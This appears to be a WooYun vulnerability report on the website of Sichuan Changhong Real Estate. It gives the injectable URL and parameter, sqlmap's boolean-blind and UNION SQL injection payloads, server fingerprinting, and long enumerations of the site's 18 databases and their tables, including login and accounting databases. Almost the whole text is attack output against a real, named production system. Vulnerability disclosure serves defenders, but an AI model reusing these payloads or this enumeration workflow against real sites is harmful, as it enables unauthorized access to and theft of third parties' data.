WooYun.org

四川长虹置业有限公司是四川长虹电器股份有限公司的控股子公司，成立于2005年12月16日，是长虹集团公司为实现“九大战略业务单元”的发展新战略而创立的，目前已经成为长虹集团三大主营业务之一。公司经营范围涉及房地产开发、投资、咨询及销售、物业管理等多项业务，拥有西南地区最具实力的房地产经营团队之一。
http://www.chre.cn/qywh/qywh.asp?classid=004001%27
开始报错
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e21'
ODBC 驱动程序不支持所需的属性。
/qywh/qywh.asp，行 22
于是用工具跑得到库
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=390 AND 6745=6745
Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: id=-5292 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(98)+CHAR(107)+CHAR(107)+CHAR(113)+CHAR(111)+CHAR(72)+CHAR(116)+CHAR(67)+CHAR(99)+CHAR(79)+CHAR(77)+CHAR(122)+CHAR(100)+CHAR(67)+CHAR(113)+CHAR(106)+CHAR(120)+CHAR(107)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
available databases [18]:
[*] dvbbs_test2009-6-4
[*] IMSData
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] UFDATA_001_2006
[*] UFDATA_001_2007
[*] UFDATA_001_2008
[*] UFDATA_001_2009
[*] UFDATA_002_2007
[*] UFDATA_002_2008
[*] UFDATA_002_2009
[*] UFDATA_999_2005
[*] UFSub
[*] UFSystem
[*] zhiye2009-6-4
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=390 AND 6745=6745
Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: id=-5292 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(98)+CHAR(107)+CHAR(107)+CHAR(113)+CHAR(111)+CHAR(72)+CHAR(116)+CHAR(67)+CHAR(99)+CHAR(79)+CHAR(77)+CHAR(122)+CHAR(100)+CHAR(67)+CHAR(113)+CHAR(106)+CHAR(120)+CHAR(107)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
Database: tempdb
[2 tables]
+--------------------------------------------+
| sysconstraints |
| syssegments |
+--------------------------------------------+
Database: msdb
[78 tables]
+--------------------------------------------+
| RTblClassDefs |
| RTblClassExtension |
| RTblDBMProps |
| RTblDBXProps |
| RTblDTMProps |
| RTblDTSProps |
| RTblDatabaseVersion |
| RTblEQMProps |
| RTblEnumerationDef |
| RTblEnumerationValueDef |
| RTblGENProps |
| RTblIfaceDefs |
| RTblIfaceHier |
| RTblIfaceMem |
| RTblMDSProps |
| RTblNamedObj |
| RTblOLPProps |
| RTblParameterDef |
| RTblPropDefs |
| RTblProps |
| RTblRelColDefs |
| RTblRelshipDefs |
| RTblRelshipProps |
| RTblRelships |
| RTblSIMProps |
| RTblScriptDefs |
| RTblSites |
| RTblSumInfo |
| RTblTFMProps |
| RTblTypeInfo |
| RTblTypeLibs |
| RTblUMLProps |
| RTblUMXProps |
| RTblVersionAdminInfo |
| RTblVersions |
| RTblWorkspaceItems |
| backupfile |
| backupmediafamily |
| backupmediaset |
| backupset |
| log_shipping_primaries |
| log_shipping_secondaries |
| logmarkhistory |
| mswebtasks |
| restorefilegroup |
| restorefilegroup |
| restorehistory |
| sqlagent_info |
| sysalerts |
| syscachedcredentials |
| syscategories |
| sysconstraints |
| sysdbmaintplan_databases |
| sysdbmaintplan_history |
| sysdbmaintplan_jobs |
| sysdbmaintplans |
| sysdownloadlist |
| sysdtscategories |
| sysdtspackagelog |
| sysdtspackages |
| sysdtssteplog |
| sysdtstasklog |
| sysjobhistory |
| sysjobs_view |
| sysjobs_view |
| sysjobschedules |
| sysjobservers |
| sysjobsteps |
| sysnotifications |
| sysoperators |
| syssegments |
| systargetservergroupmembers |
| systargetservergroups |
| systargetservers_view |
| systargetservers_view |
| systaskids |
| systasks_view |
| systasks_view |
+--------------------------------------------+
Database: pubs
[14 tables]
+--------------------------------------------+
| authors |
| discounts |
| employee |
| jobs |
| pub_info |
| publishers |
| roysched |
| sales |
| stores |
| sysconstraints |
| syssegments |
| titleauthor |
| titles |
| titleview |
+--------------------------------------------+
Database: zhiye2009-6-4
[29 tables]
+--------------------------------------------+
| Ad |
| Advice |
| City |
| Class |
| Employee |
| Flag |
| MenuClass |
| MenuClass |
| Online |
| OrderForm |
| OrderList |
| Product |
| Sata |
| ServeInfo |
| StatList |
| book |
| brand |
| brokerinfo |
| dtproperties |
| ip |
| lianjie |
| newsclass |
| newsclass |
| ruanjian |
| service |
| sysconstraints |
| syssegments |
| upxls |
| wsbm |
+--------------------------------------------+
Database: master
[39 tables]
+--------------------------------------------+
| INFORMATION_SCHEMA.CHECK_CONSTRAINTS |
| INFORMATION_SCHEMA.COLUMNS |
| INFORMATION_SCHEMA.COLUMN_DOMAIN_USAGE |
| INFORMATION_SCHEMA.COLUMN_PRIVILEGES |
| INFORMATION_SCHEMA.CONSTRAINT_COLUMN_USAGE |
| INFORMATION_SCHEMA.CONSTRAINT_TABLE_USAGE |
| INFORMATION_SCHEMA.DOMAINS |
| INFORMATION_SCHEMA.DOMAIN_CONSTRAINTS |
| INFORMATION_SCHEMA.KEY_COLUMN_USAGE |
| INFORMATION_SCHEMA.PARAMETERS |
| INFORMATION_SCHEMA.REFERENTIAL_CONSTRAINTS |
| INFORMATION_SCHEMA.ROUTINES |
| INFORMATION_SCHEMA.ROUTINE_COLUMNS |
| INFORMATION_SCHEMA.SCHEMATA |
| INFORMATION_SCHEMA.TABLES |
| INFORMATION_SCHEMA.TABLE_CONSTRAINTS |
| INFORMATION_SCHEMA.TABLE_PRIVILEGES |
| INFORMATION_SCHEMA.VIEWS |
| INFORMATION_SCHEMA.VIEW_COLUMN_USAGE |
| INFORMATION_SCHEMA.VIEW_TABLE_USAGE |
| Dv_Vote |
| Dv_VoteUser |
| MSreplication_options |
| dtproperties |
| spt_datatype_info_ext |
| spt_datatype_info_ext |
| spt_fallback_db |
| spt_fallback_dev |
| spt_fallback_usg |
| spt_monitor |
| spt_provider_types |
| spt_server_info |
| spt_values |
| sysconstraints |
| syslogins |
| sysoledbusers |
| sysopentapes |
| sysremotelogins |
| syssegments |
+--------------------------------------------+
Database: Northwind
[31 tables]
+--------------------------------------------+
| Categories |
| CustomerCustomerDemo |
| CustomerDemographics |
| Customers |
| EmployeeTerritories |
| Employees |
| Invoices |
| Region |
| Shippers |
| Suppliers |
| Territories |
| Alphabetical list of products |
| Category Sales for 1997 |
| Current Product List |
| Customer and Suppliers by City |
| Order Details Extended |
| Order Details Extended |
| Order Subtotals |
| Orders Qry |
| Orders Qry |
| Product Sales for 1997 |
| Products Above Average Price |
| Products Above Average Price |
| Products by Category |
| Quarterly Orders |
| Sales Totals by Amount |
| Sales by Category |
| Summary of Sales by Quarter |
| Summary of Sales by Year |
| sysconstraints |
| syssegments |
+--------------------------------------------+